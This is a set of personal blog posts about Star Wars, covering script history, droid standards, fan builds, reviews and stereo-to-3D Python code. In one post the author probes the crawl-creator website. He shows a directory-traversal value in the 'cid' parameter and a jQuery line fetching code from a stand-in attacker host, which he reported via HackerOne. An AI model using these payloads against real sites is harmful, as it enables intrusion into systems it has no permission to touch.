At least, that's what I thought. A few days ago my little cybernetic helper suddenly started speaking!

Not exactly a Shakespearean soliloquy, but a hell of a lot better than trying to decipher BIOS beep codes.

All of my electronics beep at me. My dishwasher screams a piercing tone to let me know it has completed a wash cycle. My kettle squarks mournfully whenever it is boiled. The fridge howls in protest when it has been left open too long. My microwave sings the song of its people to let me know dinner is ready. And they all do it with a series of tuneless beeps. It is maddening.

Which brings me on to Star Wars.

Why does the character of Artoo-Detoo only speak in beeps?

Here's how we're introduced to him⁰ in the original script:

                THREEPIO
        We're doomed!

The little R2 unit makes a series of electronic sounds that 
only another robot could understand.

                THREEPIO
        There'll be no escape for the Princess 
        this time.

Artoo continues making beeping sounds

There are a few possibilities. Firstly, perhaps his hardware doesn't have a speaker which supports human speech?

Artoo demonstrably has a speaker which is capable of producing a wide range of sounds. So perhaps he isn't capable of complex symbolic thought?

This exchange from Empire Strikes Back proves otherwise.

INT.  LUKE'S X-WING - COCKPIT

Luke, looking thoughtful, suddenly makes a decision.  He flips several 
switches.  The stars shift as he takes his fighter into a steep turn.  
The X-wing banks sharply and flies away in a new direction.

The monitor screen on Luke's control panel prints out a question from 
the concerned Artoo.

                LUKE
            (into comlink)
        There's nothing wrong, Artoo.
        I'm just setting a new course.

Artoo beeps once again.

                LUKE
            (into comlink)
        We're not going to regroup with 
        the others.

Artoo begins a protest, whistling an unbelieving, "What?!"

Luke reads Artoo's exclamation on his control panel.

It could be that Artoo can't speak the same language as the other humans. C-3PO boasts that he is fluent in over 6 million forms of communication¹ - so it is possible that Artoo can speak but just can't speak out language².

Speech synthesis is complicated but playback is simple. Artoo can play recordings. His memory could be stuffed full of useful phrases which he could blast out when necessary. So perhaps he only has limited memory and doesn't have the space for a load of MP3s?

Except, of course, his memory is big enough for "a complete technical readout" of the Death Star. That's got to be be be a chunky torrent, right?

The only reasonable conclusion we can come to is that R2-D2 is a slave³. Sentient organics apparently hold some deep-seated prejudices against robots and "their kind".

The Star Wars universe obviously has a version of this meme:

Which brings me back to my home appliances.

This isn't a technology problem. Back in the 1980s microcomputers had passible speech synthesis on crappy little speakers. Using modern codecs like Opus means that pre-recorded voices take up barely any disk space.

The problem is: do I want them to talk to me?

• When I'm upstairs, I can just about hear a shrill beep from the kitchen. Will I hear "washing cycle now completed" as clearly?
• Would a manufacturer bother to localise the voice so it is in my regional language or accent?
• Is hearing a repetitive voice more or less annoying than a series of beeps?
• If the appliance can't listen to my voice, does it give the impression that it is ordering me around?
• Do I feel a misplaced sense of obligation when inanimate objects act like living creatures?

It is clear that the technology exists. Cheap home appliances have more than enough processing power to play a snippet of audio through a tiny speaker. But perhaps modern humans find something uncanny about soulless boxes conversing with us as equals?

When Empire Strikes Back came out, it was called "Star Wars Episode V" - which necessitated rewriting history and calling the original film "Episode IV".

But at what point did the second Star Wars movie become known as Episode V?

I've been reading "The Making of the Empire Strikes Back" by J. W. Rinzler, which I shall quote from extensively.

Originally, it seems that Empire was planned to be Episode Seven!

A very early outline for the Star Wars saga in which the original film is actually Episode Six. Episode I is a “prelude” and the Clone Wars trilogy takes place in Episodes II through IV; Episode V would have been an “Epilogue/Prologue.”

That image is undated, and shows us that the numbering sequence was not fixed beforehand.

After the success of the original film, it was assumed by all involved that the inevitable sequel would be "Part 2"

On July 20 [1977], McQuarrie noted in his calendar, “George says we’ll go to England again. S.W. II.”

Companies were set up with the same name:

To minimize some of the downside potential, in the same way Lucas had formed The Star Wars Corporation for the first film, he created another subsidiary for the sequel: The Chapter II Company. [...] The resultant 100-page contract between Fox and Chapter II was signed on September 21, 1977

All of this was done without much thought of what the story would be, and without so much as a draft script.

To that end, Lucas began story conferencing for Chapter II on November 28, 1977, with veteran science-fiction author and screenwriter Leigh Brackett

As the draft was being written, the title came out:

On January 25, 1978, The Hollywood Reporter leaked the title of the film

(Thanks to ARandomName123 for digging up that scan!)

The original Leigh Brackett draft was completed early in 1978, although it didn't bear the "Empire" title.

Ned Brown of Associated Agency personally delivered Leigh Brackett’s first draft to Andrew Rigrod on February 21, 1978.

There are various scans of that draft floating around the web.

All the scans show that this was an unnamed sequel.

See also the auction for this script where the title is simply "Star Wars Sequel".

George Lucas started rewriting the draft, at which point the timeline gets a little tangled.

Here's an auction for an undated script which allegedly from SFX artist Brian Johnson's collection. It lists the film as as Episode II.

At some point in April 1978, George Lucas had a second draft where "Empire" was Episode V.

So, by this point, was Episode V set in stone? Not quite!

On the 14th of June 1978, a few months after the "Episode V" draft, a company was formed in the UK called "Chapter II Productions Ltd". It was part of a growing network of companies made to help produce the film.

On October 17 [1978], another surreal contract was signed, this time between the American production arm of the Chapter II Corporation and its just-formed English counterpart, Chapter II Productions Limited, so work could begin in earnest in that country.

By October 24th, the fourth draft had the name Episode Five - as can been seen in this script.

OK, the Chapter II Company (USA) was doing a deal with Chapter II Productions (UK) to make Episode V, right? Well, almost!

Courtesy of yet another prop auction, I found these schematics for the Millennium Falcon.

As expected, up in the top is a copyright notice for Chapter II Productions Ltd.

But what's this in the bottom corner?

So, as late as 18th December 1978, Empire Strike Back was still known internally to some parts of the production as Episode II!

I couldn't find any further items where the II / V confusion continued. But I did find another interesting titbit.

On 14th of June 1978, the Chapter II Production company was formed in the UK. The next month, on 24th July 1978, Chapter III Production Ltd was formed!

Evidently they were sufficiently confident that there would be a threequel. The Chapter III © appears on plans for Jabba's throne room.

Hmmmm. Just Jedi? No "Revenge of the"? Interesting!

As far as I can tell, both companies were owned by Lucasfilm and, surprisingly, remained active until relatively recently.

Both Chapter II and III were only dissolved in November 2015, just as The Force Awakens was being released. I assume in a fit of internal housekeeping?

So, there you go, the (slightly) untold story of Star Wars Chapters 2 & 3!

There are some stunning pieces of art - with a real feel of history. Here's a typical sample:

Others just look like they were stitched together from clipart.

The images are a decently sized - but could have been a bit higher resolution for viewing on a tablet.

The textual content is mostly unserious filler. It is a weird pastiche of history books, going through the purported story of the artists and circumstances behind the propaganda. It is further padded with low-resolution screenshots from the movies.

It might have been better if this were a proper art book - showing the human-world's propaganda and how a series of artists adopted and synthesised it for Star Wars. If you aren't familiar with 20th Century poster art, some of the significance will be lost on you. One nice touch is that the book prominently lists the human artists behind each work.

You'll flick through the book in about 20 minutes. It's the sort of thing which could have been a BuzzFeed listicle. It's further cheapened by the adverts for OpenRoad Media's book giveaways. Beware, if you sign up for them, you'll find it difficult to remove yourself from their endless mailing lists.

But rewatching the film made me re-asses what I thought I knew about The Force. My childhood was dominated by trying to perform telekinesis and mind-reading. In retrospect, those are mostly artefacts of Empire and Jedi.

In the original Star Wars, it feels like The Force is irrelevant to the plot. The tiny glimpses we get of a Jedi's awesome powers are (in order):

• Obi-Wan screams at the Sand-People to make them run away. I'm not sure if that's a retconning of a Jedi's powers, but it certainly made no impact on me as a kid.
• Darth Vader uses The Force to choke an Imperial officer. Despite, during the opening scenes, physically choking an Rebel soldier.
• Obi-Wan Kenobi uses The Force to convince some Storm Troopers to let Luke pass without identification. "The Force can have a strong influence on the weak-minded". Yet, a few minutes later in the Cantina, Ben chooses violence and chops off a dude's arm rather than gently mess with his mind.
• Obi-Wan "senses" the destruction of Alderaan. But that doesn't change the ship's destination.
• Luke is able to sense the remote and deflect its blasts - even with the blast-shield down. But, again, not really relevant to the plot.
• Vader thinks he senses Kenobi's presence. This eventually has a pay-off when he reveals Kenobi's presence to Tarkin.
• Kenobi distracts the Storm-Troopers who are guarding the tractor-beam. That's probably the most impactful use of The Force in the whole film!
• Finally, at the end of the movie, Luke switches off his targeting computer and manually fires his proton torpedoes. Does he guide the torpedoes into the exhaust port with the force? Is it skill or luck?

Basically, what I'm saying, is that if The Force didn't exist - the story of Star Wars would remain unaltered.

Think about all the times The Force could have been useful.

• Obi-Wan could have helped Luke get more money for his speeder - and could have convinced Han to ask for less money.
• Obi-Wan didn't sense that they were being followed by Garindan (the guy with the long nose) after selling the speeder.
• At no point does Darth Vader use The Force to read Princess Leia's mind - indeed, he says "her resistance to the mind probe is considerable". Implying that mind-reading isn't in a Sith Lord's skillset?
• Similarly, he doesn't realise that Leia's confession about Dantooine is a lie - although obliquely suggests he know she wouldn't "consciously betray the rebellion".
• Vader's abilities don't seem to extend to distracting the X-Wing pilots he's targeting - nor sensing the Millennium Falcon approaching.

Perhaps my entire childhood was a lie? The Jedi are nothing more than cheap magicians and their main source of power is distraction!

And... that was pretty much all there was for Star Wars. Oh, sure, there were the Droid and Ewok cartoons but - although I didn't have the vocabulary for it - I didn't think they were cannon¹.

By the time I got married in a Star Wars themed wedding, I'd settled into a cadence of a new movie every few years. And, maybe the occasional in-world webisode or making-of featurette.

Yesterday I settled in for a game of Vader Immortal on the Oculus Meta Quest VR headset. When I was going off to university, Star Wars games looked like this:

And now I had a 3D Vader looming over me, with surround sound battle effects, and a lightsabre which reacted to each twitch.

It suddenly occurred to me - I've missed dozens of Star Wars games in the intervening years. Not just the cheap movie-tie-ins on obsolete consoles, but blockbuster launches. Once upon a time I was downloading mods for Dark Forces from dodgy FTP sites. Nowadays I've no idea what's going on in the Star Wars gaming space.

And don't get me started on the various TV series! Yeah, I thought the first series of The Mandalorian was pretty nifty - but seeing all the fan discussion and theorising made me realise how much of the Star Wars world I'd missed. Even if I took a month off work, I wouldn't be able to catch up with the various Clone Wars TV series and movies, animated shows, Tales, Visions, and assorted works.

The first episode of Andor was good, Obi-Wan wasn't, Boba Fett wore me out, I've got the rest of the Mandalorian on my to-watch list and...

Look - I'm sure Disney knows better than I just how much they can milk out of their IP. But I feel like a kid who made a wish on a cursed monkey-paw² - "Let there be even more Star Wars!"

I'm ungrateful, I know. And I don't want to be the sort of person who says "It was better back in the olden days³ when we didn't have anything and we liked it that way!"

But, this May The Forth, my small plea into the void is for just a little less Star Wars. I want to try and catch up!

Ever since then, Vader has lurked behind me in my home office. Looming over my every decision.

But a few weeks ago, the old chap took a tumble. A gust of wind caught his cape - NO CAPES - and sent him crashing to the ground.

Luckily the helmet took the brunt of the impact - but I was now left with a battle-scared Vader. Perhaps in homage to the end of the Obi-Wan TV show?

I thought about trying to fill it in and sand it down - but I don't have the skills for that. But I can rebuild him - I have the technology.

I wanted something with blinkenlights - to match the original 1970s æsthetic. And something a little playful. So I dug out my old micro:bit!

Here is is in action. It scrolls various Vader phrases, shows a Vader emoticon, a heartbeat, and plays some Star Wars chiptunes when you press the buttons:

The code is super simple - it uses a "no-code" block platform like Scratch - you can remix it online:

And, with a single click, it can be posted to GitHub.

At the moment the Micro:bit is just held there with tape. Maybe one day I'll put in a little OLED screen so you can see Vader's "brain". Or perhaps an eInk panel showing the blinkenlights ASCII animation. Or I could fill him up with sweets and use him as a Pez dispenser?

But for now, I have a Bluetooth connected set of LEDs enhancing my big guy. Let's hope they don't get hacked!

Anyway, the website https://play.starwars.com/html5/starwars_crawlcreator/ allows users to create their own "Star Wars" style crawl. It's a fun little site - but it has a few flaws.

Whenever you let people enter content which is displayed back on the screen, there's a possibility that they'll be able to add unwanted content. The website had a basic swear filter - but other than that it didn't sanitise any user content. Which meant a user could paste in some Javascript and have it execute - like this:

That's bad - but not too bad. The user can only run the JS against themselves. What if there were a way to send a victim a link to that specific crawl and have the JS execute on the target's machine?

Aha! The evildoer can stuff a load of malicious Javascript in the crawl and then post it to social media.

Except, thankfully / sadly, that doesn't work. As you might be able to tell from the Google+ option, this is a very old site. When a crawl is created, it is meant to be saved with a unique ID via a storage API. That API is hardcoded to play.starwars.com/api/storage/v1/crawlcreator - but is no longer functional.

So that vector is banjaxed? Not quite! The unique ID is passed as a GET parameter cid. It's usually a long string of random numbers, for example ?cid=123456. The code to read the cid is:

var get = new XMLHttpRequest();
get.open('GET', App.simpleStorage+'/'+cid);

Usually, that would make an HTTP request to play.starwars.com/api/storage/v1/crawlcreator/123456

What if it is passed something other than a number?

Passing ?cid=/../../../../../../../../../example/ fires off a request to play.starwars.com/example/ - a successful directory traversal attack. But, unless there's a stored bit of vulnerable JS somewhere else on play.starwars.com, a bit useless.

Digging around the site shows that it runs an ancient version of jQuery - v2.0.3. That specific version is vulnerable to some nasty exploits. It will execute any JS it receives - so running something like:

$.get('https://evil.example.com/xss')

Will immediately run code loaded from elsewhere.

Could these be chained together to craft a dastardly exploit? I certainly couldn't see a way to do it. But, as I am a goodie, I reported it via HackerOne. At the very least, I thought it would be useful for Disney to know that the site needed updating.

HackerOne swiftly evaluated the issues and - probably quite rightly - closed it as a self-XSS.

I think it's useful to blog about one's failures as well as successes. This didn't lead down a path which earned me a stonking Bug Bounty, but it was an interesting exercise to see just how far an outdated site can be compromised.

As part of onboarding, it asked me to create a profile name. This is typically done so that multi-user households can have separate profiles and preferences. Mum doesn't have her princess stories disrupting Dad's suggestions. And Junior doesn't see what filth their parents are watching late at night. All the better to build up detailed tracking profiles on you, my dear!

Naturally, my first thought was to see if this was exploitable in the form of a self reflected XSS. It was not. In fact, it didn't let any character though which wasn't A-Z and 0-9. To my surprise, it also allowed spaces. So no accents, apostrophes, macrons, or other pesky "foreign" characters.

Including, amusingly, the names of several Disney characters.

OK, that's a bit daft. But it's also needlessly exclusionary. Every class at school has a kid who has to fight for their right to have their name spelled correctly. There are plenty of blended families with hyphenated surnames. Not everyone in the UK speaks a Latin-derived language.

It is technologically illiterate to restrict profile names like this.

Where do we see compatibility - and incompatibility - within the Star Wars universe? How might the lives and fates of our protagonists have been changed by better standardisation?

Data Tapes

Admiral Motti: Don't try to frighten us with your sorcerer's ways, Lord Vader. Your sad devotion to that ancient religion has not helped you conjure up the stolen data-tapes.

At the very end of Rogue One, an unnamed soldier downloads the Death Star plans onto a "data tape" - and pulls it from the Tantive IV's mainframe.

The tape makes its way to Princess Leia, who inserts it into R2-D2 - an astromech droid.

This tells us a few interesting things about the Star Wars universe. Firstly, the physical format of data tapes are standardised. A computer from one part of the galaxy can exchange physical media with a droid from somewhere else. Data tapes are common enough for their drives to be built into droids. The physical size - and formats - of tapes has obviously remained relatively consistent.

Imagine Leia trying to squeeze a CD-RW into a Zip Drive slot. Or even a Mac formatted floppy into a DOS drive!

Without the mutual compatibility of this exchange format, there would be no escape for the Rebels!

Computer Terminals

When the gang of heroes arrive on the Death Star, R2-D2 immediately inserts his probe (no, seriously, that's what it is called) into a computer terminal, and starts interrogating the system:

He does the same thing on a different level of the Death Star as his chums are running around:

This shows us that these ports have a standard physical interface - at least for R2 units or droids of a similar height. Despite the Death Star's modernity, they retain a standard way of accessing information with older computers.

The lack of standards shows up when Artoo visits the Cloud City of Bespin. His friend, C-3PO, asks him to interface with the computer to override the security systems - with disastrous consequences:

Poor Artoo! But, also, poor planning from a standards' perspective. C-3PO's non-apology shows the problem.

Look at that image. The power socket is at the same height as a computer terminal and uses a physically similar connector. A good standard would have made the sockets mutually incompatible - you shouldn't be able to shove a USB plug into an electrical socket and vice-versa.

A few moments later, the droid opens one of the doors on Cloud City:

Can you immediately tell the difference between the data socket and the power socket? There are no labels, no warnings, and few physical differences.

Standards Save Lives!

Ships

Astromech droids, like R2, are handy, diverse, and standardised.

The Phantom Menace shows them interfacing with N-1 star fighters

Attack of the Clones shows them in other ships:

Yet more in Revenge of the Sith:

And, A New Hope also shows a variety of Atromechs in a bunch of different ships:

What I'm getting at is that standardisation is the secret to success. You can take any Astromech droid and plonk it in any small spaceship at it'll just work! That means standard physical sizes for the robots, standard interfaces, standard protocols, standards everywhere!

Imagine the palaver if R2-D2 had to have a conversion kit when swapped between a Jedi Interceptor and an X-Wing - what chaos! Bought a brand new Y-Wing? Sorry pal, you'll need to replace all your little robots. What a waste!

Let's Go Fly A Kite Spaceship

I particularly like this sideways look at Star Wars:

Lilah Sturges (Inactive)

@LilahSturges

Rebel: who are you?
Luke: I’m a farmer who accidentally got a message intended for Leia and got captured attempting to deliver it. But I rescued her!
Leia: I mostly rescued myself.
Luke: so can I fly one of these fighters?
Rebel: have you ever flown one?
Luke: NOPE
Rebel: ok cool

---

The whole thread is brilliant - and I recommend it. But it makes a small error. Luke is proficient at flying a T-16. So why shouldn't he be able to fly an X-Wing?

In most countries, if you have a basic driving licence, you are allowed to drive any make and model of car. The accelerator, brake, and clutch pedals are all in the same location. The gears are in the same order on the stick. Mirrors adjust in much the same way. Lights, indicators, and wipers are all clearly marked. If you're a competent driver - standards means that you can hop from one car to another with ease.

We see the same thing in The Force Awakens. Poe has never flown a TIE Fighter:

Same with Rey after flying the Millennium Falcon:

Standards make it easy to go from one craft to the next. Does Poe know what every switch does in the cockpit? No - but he eventually works out how to release the docking tether.

I'm not sure how easy it is for, say, a MiG-21 pilot to fly an F-35. I'm sure some of the basics are the same, right? There are standards for how joysticks work, at the very least, I assume.

Imagine if Poe had to take 30 week course before jumping into a TIE Fighter. What if Luke needed to get a thousand flight-hours in on a simulator before they let him near an X-Wing? Standardised technologies make it easier for people to use new equipment.

6 Million Forms of Communication

We all know Threepio's famous boast: But what does he mean by that? The full quote is:

Sir, I am fluent in six million forms of communication. This signal is not used by the Alliance. It could be an Imperial code.

By "forms of communication" - Threepio means codes and other protocols. Remember how he introduces himself to Own Lars?

OWEN: What I really need is a droid that understands the binary language of moisture vaporators. THREEPIO: Vaporators! Sir, my first job was programming binary load lifters... very similar to your vaporators in most respects.

C-3PO can't speak 6 million languages. But he does have 6 million printer drivers installed!

And on it goes

There are dozens of other standards hidden away in the Star Wars universe. Radio comms just work across a menagerie of different space-ships. Restraining bolts are standardised no matter the droid. Clones are the very apotheosis of standardisation!

This isn't intended to be an exhaustive list of standards. And it only covers the movies - rather than the endless comics, cartoons, books, and games you played with your toys.

Speaking of which... one last thing. When I was a lad, my original Star Wars toys (which would be worth a fortune if I hadn't played with them) all had a standardised feature. Can you guess what it was?

5 points if you remembered that all the original toys had the same size hole in the soles of their feet for foot pegs!

You can read more about them in "The Ultimate Guide to Vintage Star Wars Action Figures 1977-1985". The standard allowed Kenner - the manufacturer - to create playsets of all shapes and sizes, and to have their action figures clip in nicely to them. If you wanted Darth Vader in your Millennium Falcon, or Lando Calrissian in the Mos Eisley cantina - standards helped you have fun.

I hope, in my small way, I've shown you why standards are important throughout the galaxy.

On May 25, 1977, the world was introduced to Han Solo, Luke Skywalker, Princess Leia, C-3PO, R2-D2, Chewbacca, Obi-Wan Kenobi, Darth Vader, and a galaxy full of possibilities. In honor of the fortieth anniversary, more than forty contributors lend their vision to this retelling of Star Wars. Each of the forty short stories reimagines a moment from the original film, but through the eyes of a supporting character. From a Certain Point of View features contributions by bestselling authors, trendsetting artists, and treasured voices from the literary history of Star Wars.

This is a fun - and sometimes irreverent - romp through Episode Ⅳ A New Hope. It is told through all the minor background characters. Giving us a brief glimpse of what led that alien into the Cantina, and why that Stormtrooper bumped his head.

Published shortly after the Rogue One film, it neatly incorporates the new cannon into classic stories.

The story quality varies a little. Do you really care about the Third Spear Carrier From The Left's inner monologue on why they joined the Empire? There are a couple of stand-out stories. Ken Liu gives us a great tale of why an Imperial officer didn't fire on the Droids' escape pod. It is a marvellous look at the bureaucracy of Empire life while giving a satisfying explanation to a seemingly inexplicable decision.

Similarly, Mallory Ortberg presents a health-and-saftey incident report from the Admiral force-choked by Lord Vader! And Nnedi Okorafor explains exactly why that tentacle grabs Luke in the trash compactor - from the point-of-view of the tentacle!

Some of the stories are contradictory - which is a little discombobulating - but cannon is overrated.

Way back in 1995, Star Wars: Tales From The Cantina was published - a book of short stories about the denizens of the Cantina. This book cheerfully ignores all of those stories. Again, these stories are all told from a certain point of view.

If you're happy to skip over a few duff short-stories, this is an entertaining diversion.

It was the last day of our big Australian road-trip, and we'd sailed past the opera house so often that it was becoming a familiar friend.

Once we'd found our way to the correct entrance, we were greeted by fully costumed Stormtroopers, a Wookie, Imperial Officers - and this friendly little guy!

We paid AU$80 for a pair of tickets that would normally have cost AU$240 - and I think we got a pretty decent view.

A few things I noted about the show.

So. Many. Violins! I don't see many concerts - so I had no idea how vital the violin was to the overall sound. Yes, the blokes banging the big drum and smashing the cymbals are incredible, but it's all underpinned by the humble violin.

Music is so manipulative! When you can physically feel the music starting, you realise just how much of the heavy lifting it does to set the mood of the scene.

The mysteries of the orchestra are varied. During the interval, one violinist remained. I assume to practice?

The second the main theme started I had tears running down my face. I was five again. I was playing with my toys. I was having a full-sonic daydream.

The only thing I can criticise is that the 20th Century Fox fanfare didn't play. I know they don't distribute it any more - but it just feels like something is missing.

The SOH is glorious from the outside. Inside, it's a bit of a concrete maze - like the Barbican. Shabby carpets and dated decor undermine the sense of occasion.

The film is still wonderful. It's funny, tense, exciting, and a bit bonkers. The Sydney Symphony Orchestra made every moment magical.

Finally, a huge shout out to TodayTix. Their app made the whole process of getting discount tickets incredibly easy.

What a wonderful end to our holiday.

I enjoyed Rogue One - the newish Star Wars film. It's not a perfect film, but it was heaps of fun. My only real problem was with Donnie Yen's character - Chirrut Îmwe.

As soon as I saw a Blind Asian Monk, I knew that he would be a kick-ass warrior with almost supernaturally good sword skills. Even if you've never heard of Donnie Yen before, it is such an obvious trope that I felt cheated. He is Zatoichi, Master Po, Stick, Master of the Flying Guillotine, the Blind Fist, and any one of a hundred characters from Kung-Fu movies.

I know Star Wars movies exist as remixes as popular culture - but this is such an obvious character. There's no subtly, no homage, just a straight forward rip-off which everyone thinks is a cliché - right?

...and yet...

To the ten-year-olds in the cinema, this was brand new! They'd never seen a WW2 Suicide Mission movie and they'd not spent decades watching poorly dubbed Wuxia.

When I saw A New Hope for the first time, no one could have convinced me that the X-Wing scenes were just cheap copies of Fighter-Ace movies, or that a dark wizard holding a princess captive in a fortress wasn't exactly an original plot.

It isn't a cliché if it's your first time.

If you hang around message-boards long enough, you'll start to see the same questions being asked repeatedly. Whether it is technology, politics, or engineering - we do a terrible job of inducting people into our knowledge.

How do we do it for "online culture" - if there is such a thing? Sit kids down with a stack of Cory Doctorow books and a copy of The Cathedral & Bazaar and say "Look, we've had lots of these arguments about digital culture before - and this is as far as we got with our conclusions."?

We have formal ways of teaching philosophy, history, ethics, science, and maths. Where's the training course for netiquette? Telling Internet neophytes not to talk to strangers and not to share details online seems unrealistic.

We can't just dump WhatsApp on a civilisation and expect them to adapt overnight. Humans are more complicated than that.

How do we build a culture that understands the potential and pitfalls of cyberspace?

In this example, we'll be using Star Wars - The Last Jedi.

tl;dr? Here's the end result (this video is silent):

Grab the code on GitHub.

Let's go!

Take a screenshot of your favourite scene. Something with a clearly defined foreground and background. The brighter the image the better the results.

Split the image in two:

mogrify -crop 50%x100% +repage screenshot.png

As you can see, 3D movies compress the image horizontally. The separated screenshots will need to be restored to their full width.

mogrify -resize 200%x100% screenshot-*.*

The next step involves a little trial-and-error. Generating a depth map can be done in several ways and it takes time to find the right settings for a scene.

Here's a basic Python script which will quickly generate a depth map.

import numpy as np
import cv2
from matplotlib import pyplot as plt

leftImage  = cv2.imread('screenshot-0.png',0)
rightImage = cv2.imread('screenshot-1.png',0)

stereo = cv2.StereoBM_create(numDisparities=16, blockSize=15)
disparity = stereo.compute(leftImage,rightImage)
plt.imshow(disparity,'gray')
plt.show()

Depending on the settings used for numDisparities and blockSize, the depth map will look something like one of these images.

In these examples, lighter pixels represent points closer to the camera, and darker pixels represent points further away. Optionally, you can clean up the image in your favourite photo editor.

The next step is to create three-dimensional mesh based on that depth, and then paint one of the original colour images onto it.

I recommend the excellent pyntcloud library.

In order to speed things up, I resampled the images to be 192*80 - the larger the image, the slower this process will be.

import pandas as pd
import numpy as np
from pyntcloud import PyntCloud
from PIL import Image

Get the colour image. Convert the RGB values to a DataFrame:

colourImg    = Image.open("colour-small.png")
colourPixels = colourImg.convert("RGB")

Add the RGB values to the DataFrame with a little help from StackOverflow.

colourArray  = np.array(colourPixels.getdata()).reshape((colourImg.height, colourImg.width) + (3,))
indicesArray = np.moveaxis(np.indices((colourImg.height, colourImg.width)), 0, 2)
imageArray   = np.dstack((indicesArray, colourArray)).reshape((-1,5))
df = pd.DataFrame(imageArray, columns=["x", "y", "red","green","blue"])

Open the depth-map as a greyscale image. Convert it into an array of depths. Add it to the DataFrame

>depthImg = Image.open('depth-small.png').convert('L')
depthArray = np.array(depthImg.getdata())
df.insert(loc=2, column='z', value=depthArray)

Convert it to a Point Cloud and display it:

df[['x','y','z']] = df[['x','y','z']].astype(float)
df[['red','green','blue']] = df[['red','green','blue']].astype(np.uint)
cloud = PyntCloud(df)
cloud.plot()

Result

Here's the 192*80 image converted to 3D, and displayed in the browser:

Wow! Even on a scaled down image, it's quite impressive. The 3D-ness is highly exaggerated - the depth is between 0-255. You can either play around with image normalisation, or adjust the values of z by using:

df['z'] = df['z']*0.5

The code is relatively quick to run, this is the result on the full resolution image. The depth is less exaggerated here, although I've multiplied it by 5.

Creating Meshes

For quick viewing, PyntCloud has a built in plotter suitable for running in Jupyter. If you don't have that, or want something higher quality, viewing 3D meshes is best done in MeshLab.

PyntCloud can create meshes in the .ply format:

cloud.to_file("hand.ply", also_save=["mesh","points"],as_text=True)

Better Depth Maps

The key to getting this right is an accurate depth mapping. That's hard without knowing the separation of the cameras, or being able to meaningfully calibrate them.

For example, from this image:

We can calculate a basic depthmap:

Which gives this 3D mesh:

If you use a more complex algorithm to generate a more detailed map, you can get some quite extreme results.

Depthmap Code

I'm grateful to Timotheos Samartzidis for sharing his work.

import cv2
import numpy as np
from sklearn.preprocessing import normalize

filename = "screenshot"

img_left  = cv2.imread(filename+'-1.png')
img_right = cv2.imread(filename+'-0.png')

window_size = 15

left_matcher = cv2.StereoSGBM_create(
    minDisparity=0,
    numDisparities=16,
    blockSize=5,
    P1=8 * 3 * window_size ** 2,
    P2=32 * 3 * window_size ** 2,
    # disp12MaxDiff=1,
    # uniquenessRatio=15,
    # speckleWindowSize=0,
    # speckleRange=2,
    # preFilterCap=63,
    # mode=cv2.STEREO_SGBM_MODE_SGBM_3WAY
)

right_matcher = cv2.ximgproc.createRightMatcher(left_matcher)

wls_filter = cv2.ximgproc.createDisparityWLSFilter(matcher_left=left_matcher)
wls_filter.setLambda(80000)
wls_filter.setSigmaColor(1.2)

disparity_left  = left_matcher.compute(img_left, img_right)
disparity_right = right_matcher.compute(img_right, img_left)
disparity_left  = np.int16(disparity_left)
disparity_right = np.int16(disparity_right)
filteredImg     = wls_filter.filter(disparity_left, img_left, None, disparity_right)

depth_map = cv2.normalize(src=filteredImg, dst=filteredImg, beta=0, alpha=255, norm_type=cv2.NORM_MINMAX);
depth_map = np.uint8(depth_map)
depth_map = cv2.bitwise_not(depth_map) # Invert image. Optional depending on stereo pair
cv2.imwrite(filename+"-depth.png",depth_map)

As good as this code is, you may need to tune the parameters on your images to get something acceptable.

More models!

Here are a few of the interesting meshes I made from the movie. Some are more accurate than others.

Snoke's Head

Throne Room Battle

V-4X-D Ski Speeders

Kylo Ren's TIE Fighter Guns

Is TLJ really 3D?

Nope! The movie was filmed with regular cameras and converted in post-production.

As I've discussed before, The Force Awakens has some scenes which have some reasonable 3D, but it wasn't a great conversion. I think TLJ is done much better - but I wish the CGI was properly rendered in 3D.

Much of the 3D-ness is one or two foreground elements floating against a background. If you want real 3D models, you need something shot and edited for 3D - for example this Doctor Who 3D special:

Further Reading

Getting this working took me all around the interwibbles - here are a few resources that I used.

• Callibration of stereo cameras
• Epipolar Geometry and Depth Map from stereo images
• Disparity of stereo images with Python and OpenCV
• Optimizing point cloud production from stereo photos by tuning the block matcher
• Calculating a depth map from a stereo camera with OpenCV
• 3D Object Reconstruction using Point Pair Features
• Dr. Jürgen Sturm's "Generate Pointcloud"

Copyright

Star Wars: The Last Jedi is copyright Lucasfilm Ltd.
These 6 screenshots fall under the UK's limited exceptions to copyright.
Any code I have written is available under the BSD License and is available on GitHub.

The most expensive thing about our wedding was probably that Vader suit.

After nearly 10 years of marital bliss, I got bored at having that gorgeous suit packed away in a box. So I bought a full-sized mannequin and set about dressing it up.

Having a box of limbs delivered is a little disturbing.

WHAT'S IN THE BOX?!?!?

Beach Body Ready!

After partial assembly, it was fairly easy to begin to dress the doll.

I slipped the mannequin's arms into the suit, then attached them to the body.

Without all the armour, he looks disappointing.

The straps around the groin were too tight for a human, but he didn't complain. Surprisingly, after several years, the batteries still worked

The mannequin's hand is solid - there are no gaps between the fingers

The glove doesn't have any fingers inside it - that makes it look strange.

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Replying to @edentNow witness the awesomeness of the fully armed (but headless) battlestation! pic.x.com/nvgv7mbamt

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Terence Eden is on Mastodon

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Replying to @edentDisaster! @summerbeth has fallen in love with Anakin the Mannequin! pic.x.com/vt1llushyi

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The costume doesn't come with shoes - his bare feet look silly.

I take it back Lord Vader! You don't look silly at all!

The cloak gave extra stability - the weight at the back should stop him from toppling

Fully assembled, dominating the room.

There are a few more bits to do

• Weight the base more - the costume is heavier than normal clothes, and that pushes off the centre of gravity.
• Fix the fingers - hopefully in a way that will let him hold a lightsabre!
• The cloth hangs a little loose on the mannequin - it could do with being bulkier.
• CONNECT IT TO THE INTERNET!!!!
• ...
• *ahem* I mean - can I use a Raspberry Pi to make it motion sensitive and voice activated?

You can buy a Darth Vader costume and a full-sized mannequin on Amazon.

Enjoy!

Last year I managed to blag tickets to the premiere of The Force Awakens - in 2D. The next day, we saw it again in 3D. I've never been a huge fan of 3D films and, despite owning a 3D TV, think the format is a bit of a gimmick.

But the 3D Star Wars was something else! Most of the scenes really didn't benefit - but some of the special effects just popped out of the screen.

The first thing to note is that SWTFA was not filmed with 3D cameras. The film was converted to 3D in post-production.

A few years ago I documented a process to convert 3D movies into animated GIFs. I'm going to use this technique to show you just how fake some of the 3D is.

Take a look at the famous opening crawl. This has been created entirely digitally - you can see the star field moving in parallax to the text.

When viewed through 3D glasses, this gives the impression of the text floating in front of the stars.

SWTFA successfully mixes live action and computer-generated special effects. In this shot, the actors have been filmed on a regular 2D camera and the "blaster shot" has been composited on afterwards.

As with much of the conversion, the frame is split into three distinct depths.

1. Popping out of the frame is the laser bolt.
